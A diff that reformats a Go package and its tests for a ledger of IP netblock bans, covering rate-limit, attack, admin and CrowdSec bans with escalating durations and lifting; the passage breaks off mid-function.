||||||
ledger.Load([]bans.Ban{
|
ledger.Load([]bans.Ban{
|
||||||
{
|
{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
|
||||||
Netblock: adminsOnly,
|
{Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
|
||||||
Start: midnight().Add(-3 * time.Hour),
|
{Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
|
||||||
Cause: bans.CauseAdmin,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
Netblock: adminsOnly,
|
|
||||||
Start: midnight().Add(-2 * time.Hour),
|
|
||||||
Cause: bans.CauseAdmin,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
Netblock: both,
|
|
||||||
Start: midnight().Add(-time.Hour),
|
|
||||||
Cause: bans.CauseAdmin,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
Netblock: both,
|
Netblock: both,
|
||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
@@ -62,27 +50,15 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
|
|||||||
|
|
||||||
// A new ban drops the ban sww made, and only that one.
|
// A new ban drops the ban sww made, and only that one.
|
||||||
ledger.BanForLimit(second, midnight(), bans.Notes{})
|
ledger.BanForLimit(second, midnight(), bans.Notes{})
|
||||||
wantBans(
|
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
|
||||||
t,
|
|
||||||
ledger,
|
|
||||||
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1},
|
|
||||||
)
|
|
||||||
|
|
||||||
if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
|
if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
|
||||||
t.Errorf(
|
t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
|
||||||
"%s kept %+v, want the admin's ban",
|
|
||||||
both,
|
|
||||||
ledger.Bans(both),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// And the next drops that one.
|
// And the next drops that one.
|
||||||
ledger.BanForLimit(third, midnight(), bans.Notes{})
|
ledger.BanForLimit(third, midnight(), bans.Notes{})
|
||||||
wantBans(
|
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
|
||||||
t,
|
|
||||||
ledger,
|
|
||||||
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1},
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
||||||
@@ -98,11 +74,7 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
|
|||||||
// twice, each time after its last ban has ended.
|
// twice, each time after its last ban has ended.
|
||||||
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
|
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
|
||||||
"probes for logins")
|
"probes for logins")
|
||||||
first, _ := ledger.BanForLimit(
|
first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight().Add(time.Minute),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
|
||||||
|
|
||||||
// A ban on another netblock fills the ledger, and the netblock's first
|
// A ban on another netblock fills the ledger, and the netblock's first
|
||||||
@@ -147,21 +119,12 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) {
|
|||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
limit, _ := ledger.BanForLimit(
|
limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
|
||||||
netip.MustParsePrefix("203.0.113.1/32"),
|
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
|
||||||
midnight(),
|
byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
|
||||||
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"},
|
midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
|
||||||
)
|
attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
|
||||||
byteLimit, _ := ledger.BanForLimit(
|
bans.Notes{RuleID: "git-dir", Target: "path"})
|
||||||
netip.MustParsePrefix("203.0.113.3/32"),
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
|
|
||||||
)
|
|
||||||
attack, _ := ledger.BanForAttack(
|
|
||||||
netip.MustParsePrefix("203.0.113.2/32"),
|
|
||||||
midnight(),
|
|
||||||
bans.Notes{RuleID: "git-dir", Target: "path"},
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, tc := range []struct{ got, want string }{
|
for _, tc := range []struct{ got, want string }{
|
||||||
{limit.Reason, "requests per minute over the limit of 1000"},
|
{limit.Reason, "requests per minute over the limit of 1000"},
|
||||||
@@ -203,25 +166,17 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
|||||||
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if ban.Expires.Sub(ban.Start) != time.Hour ||
|
if ban.Expires.Sub(ban.Start) != time.Hour ||
|
||||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf(
|
t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
|
||||||
"the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
|
ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
|
||||||
ban.Expires.Sub(ban.Start),
|
|
||||||
ban.Notes.EarlierBans,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
held := ledger.Bans(netblock)
|
held := ledger.Bans(netblock)
|
||||||
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
|
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
|
||||||
t.Errorf(
|
t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
|
||||||
"the ledger holds %+v, want the lifted ban and the new one",
|
|
||||||
held,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
|
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// A permanent ban for a clear sign of attack, lifted.
|
// A permanent ban for a clear sign of attack, lifted.
|
||||||
@@ -243,20 +198,13 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
|
|||||||
|
|
||||||
active, permanent := ledger.Count(now)
|
active, permanent := ledger.Count(now)
|
||||||
if active != 0 || permanent != 0 {
|
if active != 0 || permanent != 0 {
|
||||||
t.Errorf(
|
t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
|
||||||
"%d bans are active and %d permanent, want none",
|
|
||||||
active,
|
|
||||||
permanent,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The next clear sign of attack bans for seven days, as a first does.
|
// The next clear sign of attack bans for seven days, as a first does.
|
||||||
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
|
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
|
||||||
if ban.Expires.Sub(ban.Start) != 7*day {
|
if ban.Expires.Sub(ban.Start) != 7*day {
|
||||||
t.Errorf(
|
t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
|
||||||
"the next ban for an attack ends at %s, want seven days on",
|
|
||||||
ban.Expires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -264,11 +212,8 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
made, _ := ledger.BanForLimit(
|
made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
|
||||||
netip.MustParsePrefix("203.0.113.1/32"),
|
bans.Notes{})
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
atStart := bans.Ban{
|
atStart := bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
|
Netblock: netip.MustParsePrefix("203.0.113.2/32"),
|
||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
@@ -278,10 +223,7 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
|||||||
ledger.Load([]bans.Ban{made, atStart})
|
ledger.Load([]bans.Ban{made, atStart})
|
||||||
|
|
||||||
if got := ledger.Made(bans.CauseAdmin); got != 0 {
|
if got := ledger.Made(bans.CauseAdmin); got != 0 {
|
||||||
t.Fatalf(
|
t.Fatalf("%d bans made by an admin after the start's, want none", got)
|
||||||
"%d bans made by an admin after the start's, want none",
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The admin keeps the ban sww made, keeps the one read at the
|
// The admin keeps the ban sww made, keeps the one read at the
|
||||||
@@ -294,13 +236,9 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
|
|||||||
}
|
}
|
||||||
ledger.LoadEdit([]bans.Ban{kept, atStart, added})
|
ledger.LoadEdit([]bans.Ban{kept, atStart, added})
|
||||||
|
|
||||||
if ledger.Made(bans.CauseAdmin) != 1 ||
|
if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
|
||||||
ledger.Made(bans.CauseLimit) != 1 {
|
t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
|
||||||
t.Errorf(
|
ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
|
||||||
"%d bans made by an admin and %d for a limit, want 1 of each",
|
|
||||||
ledger.Made(bans.CauseAdmin),
|
|
||||||
ledger.Made(bans.CauseLimit),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -326,12 +264,8 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
|
|||||||
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
|
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
|
||||||
}
|
}
|
||||||
|
|
||||||
got := ledger.BanForAdmin(
|
got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
|
||||||
netip.MustParsePrefix("203.0.113.9/24"),
|
"probes for logins")
|
||||||
now,
|
|
||||||
time.Time{},
|
|
||||||
"probes for logins",
|
|
||||||
)
|
|
||||||
if !reflect.DeepEqual(got, want) {
|
if !reflect.DeepEqual(got, want) {
|
||||||
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
|
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
|
||||||
}
|
}
|
||||||
@@ -343,17 +277,10 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// It refuses once the ban for the limit has ended.
|
// It refuses once the ban for the limit has ended.
|
||||||
ban, banned, _ := ledger.Find(
|
ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
|
||||||
netblock.Addr(),
|
|
||||||
midnight().Add(2*time.Hour),
|
|
||||||
)
|
|
||||||
if !banned || !reflect.DeepEqual(ban, want) {
|
if !banned || !reflect.DeepEqual(ban, want) {
|
||||||
t.Errorf(
|
t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
|
||||||
"after the limit's ban the netblock is under %+v (%t), want %+v",
|
ban, banned, want)
|
||||||
ban,
|
|
||||||
banned,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -385,12 +312,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
|||||||
now := midnight().Add(time.Minute)
|
now := midnight().Add(time.Minute)
|
||||||
|
|
||||||
lifted := ledger.Lift(client, now)
|
lifted := ledger.Lift(client, now)
|
||||||
if len(lifted) != 2 || lifted[0].Lifted != now ||
|
if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
|
||||||
lifted[1].Lifted != now {
|
t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
|
||||||
t.Errorf(
|
|
||||||
"lifted %+v, want the two active bans covering the client",
|
|
||||||
lifted,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
@@ -407,11 +330,8 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
|||||||
covering := ledger.Covering(client)
|
covering := ledger.Covering(client)
|
||||||
if len(covering) != 3 || covering[0].Netblock != wide ||
|
if len(covering) != 3 || covering[0].Netblock != wide ||
|
||||||
!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
|
!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
|
||||||
t.Errorf(
|
t.Errorf("the bans covering the client are %+v, want the /24's and both "+
|
||||||
"the bans covering the client are %+v, want the /24's and both "+
|
"of its own, the earlier not lifted", covering)
|
||||||
"of its own, the earlier not lifted",
|
|
||||||
covering,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// With none active, nothing is lifted or changed.
|
// With none active, nothing is lifted or changed.
|
||||||
@@ -422,26 +342,16 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
|
|||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(
|
func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
client := netip.MustParseAddr("203.0.113.9")
|
client := netip.MustParseAddr("203.0.113.9")
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
// The temporary ban is made first, so that its netblock is looked at first.
|
// The temporary ban is made first, so that its netblock is looked at first.
|
||||||
ledger.BanForLimit(
|
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
|
||||||
netip.MustParsePrefix("203.0.113.9/32"),
|
ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
|
||||||
midnight(),
|
"for good")
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
ledger.BanForAdmin(
|
|
||||||
netip.MustParsePrefix("203.0.113.0/24"),
|
|
||||||
midnight(),
|
|
||||||
time.Time{},
|
|
||||||
"for good",
|
|
||||||
)
|
|
||||||
|
|
||||||
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
|
wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
|
||||||
}
|
}
|
||||||
@@ -453,19 +363,10 @@ func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
|
|
||||||
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
|
ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
|
||||||
ledger.BanForAdmin(
|
ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
|
||||||
netblock,
|
"for an hour")
|
||||||
midnight().Add(time.Minute),
|
|
||||||
midnight().Add(time.Hour),
|
|
||||||
"for an hour",
|
|
||||||
)
|
|
||||||
|
|
||||||
wantPermanentBan(
|
wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
|
||||||
t,
|
|
||||||
ledger,
|
|
||||||
netblock.Addr(),
|
|
||||||
midnight().Add(2*time.Minute),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// wantPermanentBan checks that Find and Check return a permanent ban for
|
// wantPermanentBan checks that Find and Check return a permanent ban for
|
||||||
@@ -481,12 +382,7 @@ func wantPermanentBan(
|
|||||||
} {
|
} {
|
||||||
ban, banned, _ := look(client, now)
|
ban, banned, _ := look(client, now)
|
||||||
if !banned || !ban.Permanent() {
|
if !banned || !ban.Permanent() {
|
||||||
t.Errorf(
|
t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
|
||||||
"%s returned %+v and banned %v, want a permanent ban",
|
|
||||||
name,
|
|
||||||
ban,
|
|
||||||
banned,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+19
-91
@@ -209,10 +209,7 @@ func New(params Params) *Ledger {
|
|||||||
// The ledger drops bans itself, and never those whose cause is
|
// The ledger drops bans itself, and never those whose cause is
|
||||||
// CauseAdmin, however many there are, so the LRU has no limit of its
|
// CauseAdmin, however many there are, so the LRU has no limit of its
|
||||||
// own: it keeps the netblocks in the order they were last seen.
|
// own: it keeps the netblocks in the order they were last seen.
|
||||||
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](
|
netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](math.MaxInt, nil)
|
||||||
math.MaxInt,
|
|
||||||
nil,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
panic(err) // NewLRU fails only for a size below one
|
panic(err) // NewLRU fails only for a size below one
|
||||||
}
|
}
|
||||||
@@ -315,15 +312,7 @@ func activeBan(bans []Ban, now time.Time) *Ban {
|
|||||||
func (l *Ledger) BanForLimit(
|
func (l *Ledger) BanForLimit(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(
|
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true)
|
||||||
netblock,
|
|
||||||
now,
|
|
||||||
time.Time{},
|
|
||||||
CauseLimit,
|
|
||||||
limitReason(notes),
|
|
||||||
notes,
|
|
||||||
true,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForLimit returns what BanForLimit would, without making the ban:
|
// WouldBanForLimit returns what BanForLimit would, without making the ban:
|
||||||
@@ -331,15 +320,7 @@ func (l *Ledger) BanForLimit(
|
|||||||
func (l *Ledger) WouldBanForLimit(
|
func (l *Ledger) WouldBanForLimit(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(
|
return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false)
|
||||||
netblock,
|
|
||||||
now,
|
|
||||||
time.Time{},
|
|
||||||
CauseLimit,
|
|
||||||
limitReason(notes),
|
|
||||||
notes,
|
|
||||||
false,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// BanForAttack bans netblock at now for a clear sign of attack, with
|
// BanForAttack bans netblock at now for a clear sign of attack, with
|
||||||
@@ -350,15 +331,7 @@ func (l *Ledger) WouldBanForLimit(
|
|||||||
func (l *Ledger) BanForAttack(
|
func (l *Ledger) BanForAttack(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(
|
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true)
|
||||||
netblock,
|
|
||||||
now,
|
|
||||||
time.Time{},
|
|
||||||
CauseAttack,
|
|
||||||
attackReason(notes),
|
|
||||||
notes,
|
|
||||||
true,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForAttack returns what BanForAttack would, without making the
|
// WouldBanForAttack returns what BanForAttack would, without making the
|
||||||
@@ -366,15 +339,8 @@ func (l *Ledger) BanForAttack(
|
|||||||
func (l *Ledger) WouldBanForAttack(
|
func (l *Ledger) WouldBanForAttack(
|
||||||
netblock netip.Prefix, now time.Time, notes Notes,
|
netblock netip.Prefix, now time.Time, notes Notes,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(
|
return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes,
|
||||||
netblock,
|
false)
|
||||||
now,
|
|
||||||
time.Time{},
|
|
||||||
CauseAttack,
|
|
||||||
attackReason(notes),
|
|
||||||
notes,
|
|
||||||
false,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
|
// BanForCrowdSec bans netblock at now until expires, when CrowdSec's
|
||||||
@@ -382,39 +348,19 @@ func (l *Ledger) WouldBanForAttack(
|
|||||||
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
|
// whether it made it, as BanForLimit does. Its reason is "CrowdSec's
|
||||||
// decision for <scenario>", the scenario that made the decision.
|
// decision for <scenario>", the scenario that made the decision.
|
||||||
func (l *Ledger) BanForCrowdSec(
|
func (l *Ledger) BanForCrowdSec(
|
||||||
netblock netip.Prefix,
|
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
|
||||||
now, expires time.Time,
|
|
||||||
scenario string,
|
|
||||||
notes Notes,
|
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(
|
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
|
||||||
netblock,
|
true)
|
||||||
now,
|
|
||||||
expires,
|
|
||||||
CauseCrowdSec,
|
|
||||||
crowdSecReason(scenario),
|
|
||||||
notes,
|
|
||||||
true,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
|
// WouldBanForCrowdSec returns what BanForCrowdSec would, without making
|
||||||
// the ban: what observe mode would have done.
|
// the ban: what observe mode would have done.
|
||||||
func (l *Ledger) WouldBanForCrowdSec(
|
func (l *Ledger) WouldBanForCrowdSec(
|
||||||
netblock netip.Prefix,
|
netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes,
|
||||||
now, expires time.Time,
|
|
||||||
scenario string,
|
|
||||||
notes Notes,
|
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
return l.ban(
|
return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes,
|
||||||
netblock,
|
false)
|
||||||
now,
|
|
||||||
expires,
|
|
||||||
CauseCrowdSec,
|
|
||||||
crowdSecReason(scenario),
|
|
||||||
notes,
|
|
||||||
false,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
|
// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit,
|
||||||
@@ -559,10 +505,7 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban {
|
|||||||
// about it. It is not a request from netblock, and leaves when it was last
|
// about it. It is not a request from netblock, and leaves when it was last
|
||||||
// seen unchanged. It does not have bans.json written at once: the notes
|
// seen unchanged. It does not have bans.json written at once: the notes
|
||||||
// are written with its next write, as the counts in them are.
|
// are written with its next write, as the counts in them are.
|
||||||
func (l *Ledger) AddLookup(
|
func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) {
|
||||||
netblock netip.Prefix,
|
|
||||||
asn, asName, country string,
|
|
||||||
) {
|
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
|
|
||||||
@@ -711,10 +654,7 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool {
|
|||||||
// keep is true, the ban is not made, only returned: it is the ban that
|
// keep is true, the ban is not made, only returned: it is the ban that
|
||||||
// would have been made.
|
// would have been made.
|
||||||
func (l *Ledger) ban(
|
func (l *Ledger) ban(
|
||||||
netblock netip.Prefix,
|
netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes,
|
||||||
now, expires time.Time,
|
|
||||||
cause, reason string,
|
|
||||||
notes Notes,
|
|
||||||
keep bool,
|
keep bool,
|
||||||
) (Ban, bool) {
|
) (Ban, bool) {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
@@ -735,13 +675,7 @@ func (l *Ledger) ban(
|
|||||||
}
|
}
|
||||||
|
|
||||||
notes.Request = notes.Request.cut()
|
notes.Request = notes.Request.cut()
|
||||||
ban := Ban{
|
ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes}
|
||||||
Netblock: netblock,
|
|
||||||
Start: now,
|
|
||||||
Cause: cause,
|
|
||||||
Reason: reason,
|
|
||||||
Notes: notes,
|
|
||||||
}
|
|
||||||
|
|
||||||
switch cause {
|
switch cause {
|
||||||
case CauseAttack:
|
case CauseAttack:
|
||||||
@@ -831,9 +765,7 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban {
|
|||||||
var first *Ban
|
var first *Ban
|
||||||
|
|
||||||
for _, length := range lengths {
|
for _, length := range lengths {
|
||||||
bans, found := l.netblocks.Get(
|
bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked())
|
||||||
netip.PrefixFrom(client, length).Masked(),
|
|
||||||
)
|
|
||||||
if !found {
|
if !found {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -866,9 +798,7 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban {
|
|||||||
var found []*[]Ban
|
var found []*[]Ban
|
||||||
|
|
||||||
for _, length := range lengths {
|
for _, length := range lengths {
|
||||||
bans, ok := l.netblocks.Peek(
|
bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked())
|
||||||
netip.PrefixFrom(client, length).Masked(),
|
|
||||||
)
|
|
||||||
if ok {
|
if ok {
|
||||||
found = append(found, bans)
|
found = append(found, bans)
|
||||||
}
|
}
|
||||||
@@ -922,15 +852,13 @@ func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time {
|
|||||||
var last *Ban
|
var last *Ban
|
||||||
|
|
||||||
for i, ban := range held {
|
for i, ban := range held {
|
||||||
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) &&
|
if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() &&
|
||||||
ban.Lifted.IsZero() &&
|
|
||||||
(last == nil || ban.Expires.After(last.Expires)) {
|
(last == nil || ban.Expires.After(last.Expires)) {
|
||||||
last = &held[i]
|
last = &held[i]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if last != nil &&
|
if last != nil && now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
||||||
now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow {
|
|
||||||
lastLength := last.Expires.Sub(last.Start)
|
lastLength := last.Expires.Sub(last.Start)
|
||||||
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
// This is repeatFactor * lastLength > MaxBanDuration, written so
|
||||||
// that it cannot overflow.
|
// that it cannot overflow.
|
||||||
|
|||||||
+59
-212
@@ -27,14 +27,8 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) {
|
|||||||
length := time.Duration(hours) * time.Hour
|
length := time.Duration(hours) * time.Hour
|
||||||
if !ban.Expires.Equal(now.Add(length)) ||
|
if !ban.Expires.Equal(now.Add(length)) ||
|
||||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) {
|
||||||
t.Fatalf(
|
t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
|
||||||
"ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit",
|
i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i)
|
||||||
i+1,
|
|
||||||
ban.Expires.Sub(now),
|
|
||||||
ban.Notes.EarlierBans,
|
|
||||||
hours,
|
|
||||||
i,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
now = ban.Expires
|
now = ban.Expires
|
||||||
@@ -71,27 +65,13 @@ func TestRepeatWindowRunsOut(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
|
||||||
first, _ := ledger.BanForLimit(
|
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||||
netblock,
|
second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{})
|
||||||
midnight(),
|
|
||||||
bans.Notes{},
|
|
||||||
)
|
|
||||||
second, _ := ledger.BanForLimit(
|
|
||||||
netblock,
|
|
||||||
